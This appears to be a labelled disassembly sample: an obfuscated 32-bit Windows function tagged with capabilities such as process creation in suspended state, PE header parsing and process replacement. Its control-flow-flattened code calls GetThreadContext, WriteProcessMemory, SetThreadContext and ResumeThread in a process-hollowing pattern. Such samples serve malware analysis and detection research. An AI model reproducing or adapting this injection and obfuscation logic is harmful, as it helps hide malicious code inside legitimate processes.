Function at 0x1000cf80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20c
mov eax, dword [0x10094880]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x214], 0x43fa5c25
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x218], eax
sub eax, 0x80c4cd1a
je 0x10018840
jmp 0x1000cfbc
mov eax, dword [ebp - 0x218]
sub eax, 0x81033329
je 0x100130ab
jmp 0x1000cfd2
mov eax, dword [ebp - 0x218]
sub eax, 0x8107b82a
je 0x100140ce
jmp 0x1000cfe8
mov eax, dword [ebp - 0x218]
sub eax, 0x814c6bc3
je 0x10018ed7
jmp 0x1000cffe
mov eax, dword [ebp - 0x218]
sub eax, 0x81ce1298
je 0x10014e50
jmp 0x1000d014
mov eax, dword [ebp - 0x218]
sub eax, 0x81f72507
je 0x10019fb8
jmp 0x1000d02a
mov eax, dword [ebp - 0x218]
sub eax, 0x820ead2f
je 0x10014f28
jmp 0x1000d040
mov eax, dword [ebp - 0x218]
sub eax, 0x821ce024
je 0x10015a02
jmp 0x1000d056
mov eax, dword [ebp - 0x218]
sub eax, 0x821f3925
je 0x100145ca
jmp 0x1000d06c
mov eax, dword [ebp - 0x218]
sub eax, 0x8275d4d7
je 0x100146e1
jmp 0x1000d082
mov eax, dword [ebp - 0x218]
sub eax, 0x828e1a3e
je 0x100138a9
jmp 0x1000d098
mov eax, dword [ebp - 0x218]
sub eax, 0x82b33b80
je 0x10013a67
jmp 0x1000d0ae
mov eax, dword [ebp - 0x218]
sub eax, 0x83212c31
je 0x1001a5f5
jmp 0x1000d0c4
mov eax, dword [ebp - 0x218]
sub eax, 0x83526711
je 0x10015c84
jmp 0x1000d0da
mov eax, dword [ebp - 0x218]
sub eax, 0x837f1186
je 0x1001a74a
jmp 0x1000d0f0
mov eax, dword [ebp - 0x218]
sub eax, 0x83ec5c97
je 0x10014597
jmp 0x1000d106
mov eax, dword [ebp - 0x218]
sub eax, 0x84beb2d4
je 0x10011a84
jmp 0x1000d11c
mov eax, dword [ebp - 0x218]
sub eax, 0x866abec4
je 0x1001a61f
jmp 0x1000d132
mov eax, dword [ebp - 0x218]
sub eax, 0x8677a62d
je 0x10019438
jmp 0x1000d148
mov eax, dword [ebp - 0x218]
sub eax, 0x8689d013
je 0x10013fa6
jmp 0x1000d15e
mov eax, dword [ebp - 0x218]
sub eax, 0x8700070c
je 0x1001872a
jmp 0x1000d174
mov eax, dword [ebp - 0x218]
sub eax, 0x87343f31
je 0x10015658
jmp 0x1000d18a
mov eax, dword [ebp - 0x218]
sub eax, 0x875c689b
je 0x10019eb6
jmp 0x1000d1a0
mov eax, dword [ebp - 0x218]
sub eax, 0x8763855f
je 0x10015a9c
jmp 0x1000d1b6
mov eax, dword [ebp - 0x218]
sub eax, 0x8809f3d2
je 0x10013a22
jmp 0x1000d1cc
mov eax, dword [ebp - 0x218]
sub eax, 0x884f38b4
je 0x10013d84
jmp 0x1000d1e2
mov eax, dword [ebp - 0x218]
sub eax, 0x885efcb5
je 0x1001a2c3
jmp 0x1000d1f8
mov eax, dword [ebp - 0x218]
sub eax, 0x88fe9e91
je 0x1001a2d2
jmp 0x1000d20e
mov eax, dword [ebp - 0x218]
sub eax, 0x891a1547
je 0x1001a42e
jmp 0x1000d224
mov eax, dword [ebp - 0x218]
sub eax, 0x8988eb4b
je 0x10014a0f
jmp 0x1000d23a
mov eax, dword [ebp - 0x218]
sub eax, 0x89da0228
je 0x10014829
jmp 0x1000d250
mov eax, dword [ebp - 0x218]
sub eax, 0x8a13b93c
je 0x10011d3f
jmp 0x1000d266
mov eax, dword [ebp - 0x218]
sub eax, 0x8a729fe9
je 0x100178d8
jmp 0x1000d27c
mov eax, dword [ebp - 0x218]
sub eax, 0x8a8922cd
je 0x10017457
jmp 0x1000d292
mov eax, dword [ebp - 0x218]
sub eax, 0x8acd91ae
je 0x1001a5a6
jmp 0x1000d2a8
mov eax, dword [ebp - 0x218]
sub eax, 0x8b5c7566
je 0x10017998
jmp 0x1000d2be
mov eax, dword [ebp - 0x218]
sub eax, 0x8c0d84fe
je 0x10013275
jmp 0x1000d2d4
mov eax, dword [ebp - 0x218]
sub eax, 0x8c1679e9
je 0x100180da
jmp 0x1000d2ea
mov eax, dword [ebp - 0x218]
sub eax, 0x8c18cb5c
je 0x1001a76e
jmp 0x1000d300
mov eax, dword [ebp - 0x218]
sub eax, 0x8c665161
je 0x100114ff
jmp 0x1000d316
mov eax, dword [ebp - 0x218]
sub eax, 0x8d555ffa
je 0x10016379
jmp 0x1000d32c
mov eax, dword [ebp - 0x218]
sub eax, 0x8d5964bc
je 0x1001606c
jmp 0x1000d342
mov eax, dword [ebp - 0x218]
sub eax, 0x8d5abbde
je 0x1001a208
jmp 0x1000d358
mov eax, dword [ebp - 0x218]
sub eax, 0x8d6dceec
je 0x10018938
jmp 0x1000d36e
mov eax, dword [ebp - 0x218]
sub eax, 0x8da160c0
je 0x10018929
jmp 0x1000d384
mov eax, dword [ebp - 0x218]
sub eax, 0x8de54a2f
je 0x10011561
jmp 0x1000d39a
mov eax, dword [ebp - 0x218]
sub eax, 0x8e2c9237
je 0x100154bf
jmp 0x1000d3b0
mov eax, dword [ebp - 0x218]
sub eax, 0x8ee9e861
je 0x10019ee8
jmp 0x1000d3c6
mov eax, dword [ebp - 0x218]
sub eax, 0x8f1ea1a4
je 0x10019cbb
jmp 0x1000d3dc
mov eax, dword [ebp - 0x218]
sub eax, 0x8f218996
je 0x100159dd
jmp 0x1000d3f2
mov eax, dword [ebp - 0x218]
sub eax, 0x8f25c6f9
je 0x10017fcb
jmp 0x1000d408
mov eax, dword [ebp - 0x218]
sub eax, 0x8f643fc6
je 0x10014f83
jmp 0x1000d41e
mov eax, dword [ebp - 0x218]
sub eax, 0x8f7471d6
je 0x10013b38
jmp 0x1000d434
mov eax, dword [ebp - 0x218]
sub eax, 0x8fa27c2b
je 0x10018d16
jmp 0x1000d44a
mov eax, dword [ebp - 0x218]
sub eax, 0x8fc28064
je 0x10019160
jmp 0x1000d460
mov eax, dword [ebp - 0x218]
sub eax, 0x8fc3f07b
je 0x10016bc2
jmp 0x1000d476
mov eax, dword [ebp - 0x218]
sub eax, 0x8fed8ae3
je 0x1001237f
jmp 0x1000d48c
mov eax, dword [ebp - 0x218]
sub eax, 0x927f724e
je 0x1001170f
jmp 0x1000d4a2
mov eax, dword [ebp - 0x218]
sub eax, 0x92e9358c
je 0x10011d63
jmp 0x1000d4b8
mov eax, dword [ebp - 0x218]
sub eax, 0x931c631f
je 0x100197fb
jmp 0x1000d4ce
mov eax, dword [ebp - 0x218]
sub eax, 0x934dbef2
je 0x10012551
jmp 0x1000d4e4
mov eax, dword [ebp - 0x218]
sub eax, 0x939058b0
je 0x1001430d
jmp 0x1000d4fa
mov eax, dword [ebp - 0x218]
sub eax, 0x94978d45
je 0x1001954d
jmp 0x1000d510
mov eax, dword [ebp - 0x218]
sub eax, 0x94e784a2
je 0x100158e9
jmp 0x1000d526
mov eax, dword [ebp - 0x218]
sub eax, 0x94f71da4
je 0x10017d3b
mov dword [ebp - 0x1cc], 0xefb8f0b
mov dword [ebp - 0x214], 0x9e5e18f3
jmp 0x1001aadf
mov ecx, dword [0x10095d2c]
mov eax, dword [0x10095d28]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9cedf731
mov ecx, 0xd5c85dee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x214], 0x36a5c3d8
jmp 0x1001aadf
mov byte [ebp - 0x1cd], 1
mov dword [ebp - 0x214], 0x3149b988
jmp 0x1001aadf
mov edx, dword [ebp - 0x140]
mov eax, 0xd5e22446
mov ecx, 0x92e9358c
cmp edx, 0xefb8f0a
cmovle eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [ebp - 0x1d4]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x214], 0x73fa6cd0
jmp 0x1001aadf
mov dword [ebp - 0x1dc], 0xefb8ee8
mov dword [ebp - 0x214], 0x3857b902
jmp 0x1001aadf
mov dl, byte [ebp - 0x129]
mov eax, 0x9739935
mov ecx, 0xcf462d8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov dword [ebp - 0x214], 0xa0d405d2
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x80ae503
jmp 0x1001aadf
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x214], 0xe3aab447
jmp 0x1001aadf
mov eax, dword [ebp - 0x1f4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x214], 0x27e21144
jmp 0x1001aadf
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x214], 0x781ac835
jmp 0x1001aadf
mov eax, dword [0x10095d2c]
mov ecx, dword [0x10095d28]
mov edx, eax
add edx, 0xb3e34adc
sub edx, 1
sub edx, 0xb3e34adc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88fe9e91
mov ecx, 0xd0101428
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x8532542
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x47fcb0f9
jmp 0x1001aadf
mov byte [ebp - 0x1f6], 1
mov dword [ebp - 0x214], 0xa3607351
jmp 0x1001aadf
mov ecx, dword [0x10095d2c]
mov eax, dword [0x10095d28]
mov edx, ecx
add edx, 0xea16767c
sub edx, 1
sub edx, 0xea16767c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x65730550
mov ecx, 0xb3a57926
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov byte [ebp - 0x1f7], 1
mov dword [ebp - 0x214], 0x2a3a677f
jmp 0x1001aadf
mov byte [ebp - 0x1f7], 1
mov dword [ebp - 0x214], 0x1dbe4c3b
jmp 0x1001aadf
mov dl, byte [ebp - 0xec]
mov eax, 0xd4f88f11
mov ecx, 0xa167e08c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov dl, 1
mov eax, 0xdadd1cf9
mov ecx, 0xd2fda43d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov dword [ebp - 0x214], 0xaf44442b
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x36becc9b
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x59a07711
jmp 0x1001aadf
mov dl, byte [ebp - 0xde]
mov eax, 0x5790dcd5
mov ecx, 0xad9cb21c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x32548d1d
jmp 0x1001aadf
xor eax, eax
mov dl, al
mov eax, 0xcf16c8af
mov ecx, 0x33a4cebf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x9325dc9
jmp 0x1001aadf
mov byte [ebp - 0x207], 0
mov dword [ebp - 0x214], 0x23decf50
jmp 0x1001aadf
mov byte [ebp - 0x207], 1
mov dword [ebp - 0x214], 0xe598dbb1
jmp 0x1001aadf
mov eax, dword [0x10095d2c]
mov ecx, dword [0x10095d28]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x119af0b4
mov ecx, 0x12ceb895
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [0x10095d2c]
mov ecx, dword [0x10095d28]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbf3a7a55
mov ecx, 0xa68a7214
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x8d555ffa
jmp 0x1001aadf
mov ecx, dword [0x10095d2c]
mov eax, dword [0x10095d28]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8acd91ae
mov ecx, 0xe4ca9e18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov dword [ebp - 0x214], 0xcec1c641
jmp 0x1001aadf
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [0x10095d2c]
mov ecx, dword [0x10095d28]
mov edx, eax
sub edx, 0xb37fc6d7
sub edx, 1
add edx, 0xb37fc6d7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6eecf49
mov ecx, 0xa9fe33f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [ebp - 0x1b8]
cmp dword [eax], 0xefb8f12
setle al
and al, 1
mov byte [ebp - 0xad], al
mov eax, dword [0x10095d2c]
mov ecx, dword [0x10095d28]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x837f1186
mov ecx, 0x5e702b74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [0x10095d2c]
mov ecx, dword [0x10095d28]
mov edx, eax
add edx, 0x6a5308f
sub edx, 1
sub edx, 0x6a5308f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3641b75d
mov ecx, 0x507c8d66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [ebp - 0x1b4]
cmp dword [eax], 0xefb8efb
setle al
and al, 1
mov byte [ebp - 0xa7], al
mov dword [ebp - 0x214], 0xfbff50e
jmp 0x1001aadf
mov dword [ebp - 0x214], 0xd11d62b8
jmp 0x1001aadf
mov ecx, dword [0x10095d2c]
mov eax, dword [0x10095d28]
mov edx, ecx
sub edx, 0x6a8d2a44
sub edx, 1
add edx, 0x6a8d2a44
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd7a49cb3
mov ecx, 0xbb59db2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [0x10095d2c]
mov ecx, dword [0x10095d28]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1469c3c2
mov ecx, 0x9f7f9976
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x8d6dceec
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x1f77e56
jmp 0x1001aadf
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x98]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0xd1de79d1
mov ecx, 0xf9f533b4
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x214], 0x3b856a0
jmp 0x1001aadf
mov eax, dword [0x10095d2c]
mov ecx, dword [0x10095d28]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe82c2178
mov ecx, 0xdd620c6e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x60]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
add esi, 0xff8e530
add esi, eax
sub esi, 0xff8e530
mov edx, dword [ebp - 0x68]
mov eax, 0xbe0b3821
mov ecx, 0x2102bd02
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x214], 0x5a837ada
jmp 0x1001aadf
mov dword [ebp - 0x214], 0xe2164c8
jmp 0x1001aadf
mov eax, dword [0x10095d2c]
mov ecx, dword [0x10095d28]
mov edx, eax
add edx, 0x878feed6
sub edx, 1
sub edx, 0x878feed6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce456d6f
mov ecx, 0x37ba757c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x1001aadf
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
sub eax, 0x8e212156
add eax, 8
add eax, 0x8e212156
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x214], 0x8ee9e861
jmp 0x1001aadf
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x184]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0x5c9b8c33
add ecx, eax
add ecx, 0x5c9b8c33
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x198]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x198]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0x214], 0xd1de79d1
jmp 0x1001aadf
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x214], 0xdfcab578
jmp 0x1001aadf
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x214], 0x49425b58
jmp 0x1001aadf
mov dword [ebp - 0x214], 0xe960a7c3
jmp 0x1001aadf
mov byte [ebp - 0x1f5], 0
mov dword [ebp - 0x214], 0xd0101428
jmp 0x1001aadf
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x214], 0xe63ac4f2
jmp 0x1001aadf
mov byte [ebp - 0x20e], 0
mov dword [ebp - 0x214], 0xe4ca9e18
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x6dc905eb
jmp 0x1001aadf
mov eax, dword [ebp - 0x1c4]
mov byte [eax], 1
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x214], 0xbd8babbb
jmp 0x1001aadf
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x214], 0x8a729fe9
jmp 0x1001aadf
mov dword [ebp - 0x214], 0x67196c7b
jmp 0x1001aadf
jmp 0x1000cfa0